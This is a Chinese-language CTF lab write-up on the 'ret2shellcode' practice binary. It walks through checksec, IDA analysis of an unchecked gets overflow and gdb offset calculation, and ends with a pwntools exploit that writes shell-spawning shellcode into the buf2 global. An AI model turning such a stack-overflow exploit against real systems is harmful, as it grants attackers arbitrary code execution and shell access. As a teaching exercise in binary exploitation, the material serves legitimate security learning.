ret2shellcode

1、查看架构和保护措施

使用checksec <文件>查看架构和保护措施

输入vmmap,查看虚拟内存分布(虚拟内存是操作系统格局内存当前状态虚拟出的一个视图,不等于实际内存分布)

0x804a000-0x804b000存在可读可写可执行段(看地址0x80开头可以知道是bss段)

0xfffdd000-0xffffe000存在可读可写可执行段(黄色高亮说明是stack段)

几个方向:

没有PIE,ret2libc

没有NX保护,且存在RWX段,ret2shellcode

其他,ret2syscall,ret2text

2、寻找后门函数

  • 根据checksec,我们已经知道文件是32位,用32位的IDA静态分析

  • 在函数窗口(Functions Windows)中按”Crtl+F“搜索”system“,看是否存在system函数

没有system函数,也就是程序中不存在shellcode,而NX保护未开启,我们可以向栈中写入shellcode,然后将返回地址填入shellcode_addr,就达到了ret2shellcode的目的

3、寻找危险函数

  • 在main函数的汇编界面,按F5反编译成C语言代码

  • 分析main函数的主逻辑

    • setvbuf函数关闭缓冲区,使得内存的内容直接输入或输出到I/O设备,不存在漏洞

    • put函数不存在漏洞

    • get函数向main函数的局部变量(local var)写无限字长的数据,存在漏洞!

    • strncpy函数用于将指定长度的字符数组s复制到buf2中,buf2是全局变量。

双击buf2,来到静态文本结构界面

  • 根据上面的分析,可以得到2个思路

    • 通过局部变量s覆盖gets函数的返回地址,并向局部变量s中写shellcode,需要泄露s的地址。将返回地址填入返回地址的上一个单元的地址(这里一个单元指的是32位或4字节),该单元填入shellcode,结构示意图如下(后期补):

    • 通过局部变量s覆盖gets函数的返回地址,并通过strncpy将s的内容复制到全局变量buf2中,并将返回地址写为buf2的地址,payload的构造是先填shellcode后填垃圾数据,最后填buf2的返回地址。还有另一种构造是nop滑梯+shellcode,这种payload不是很在意shellcode的地址,主要是应对PIE保护,但是怕对方主机有检测nop指令是否频繁使用的保护机制,两种payload的示意图如下(后期补)

  • 根据IDA可以得出buf2的地址为(没开PIE保护):0x0804a080

4、计算偏移量

  • IDA静态分析得出:s到ret_addr的距离为0x64+0x4=0x68(其实不准确,实际偏移量为0x70)

  • gdb动态调试求偏移量

①gdb <文件>

②b mian 或者start进入到程序的入口(当面对较复杂时,在我们想要的位置上打断点,具体会在ret2libc3介绍)

③使用r命令,如果有断点,停在断点处;

各个窗口如图所示

④在“DISASM”反汇编窗口观察程序执行逻辑,输入ni,进行单步过操作

⑤一直步过到“gets函数”,我们不需要进入到gets函数的内部,此时终端处于等待用户输入的状态(规律:凡是库函数都不需要进入函数内部)

输入’aaaa‘,(根据程序的位数输入4位还是8位的数据),然后执行stack <数字>查看任意多行的栈空间的情况

观察’aaaa‘数据最后存放在0xffffd13c的位置上,这就是s的地址,返回地址就是ebp的下一单元

⑥计算s到ret_addr的偏移量

s的地址:0xffffd13c

ret_addr的地址:0xffffd1ac(其实gdb已经告诉我们这个地址里的内容就是_libc_start_main函数的下一条指令:add esp,0x10 的地址)

使用gdb自带的计算距离的指令:distance <地址1> <地址2>

distance 0xffffd13c 0xffffd1ac

计算得出偏移量:0x70 bytes

5、编写exp

exp1

from pwn import *

io = process('./ret2shellcode')

#io = remote('IP或者网址',端口)

io.recv()

buf2_addr = 0x0804a080

shellcode = asm(shellcraft.sh())#pwntools的shellcraft.sh是专门用于生成shellcode代码,根据参数的不同,可以生成不同的代码

payload =flat([shellcode.ljust(0x70,b'A'),buf2_addr])

io.sendline(payload)

io.interactive()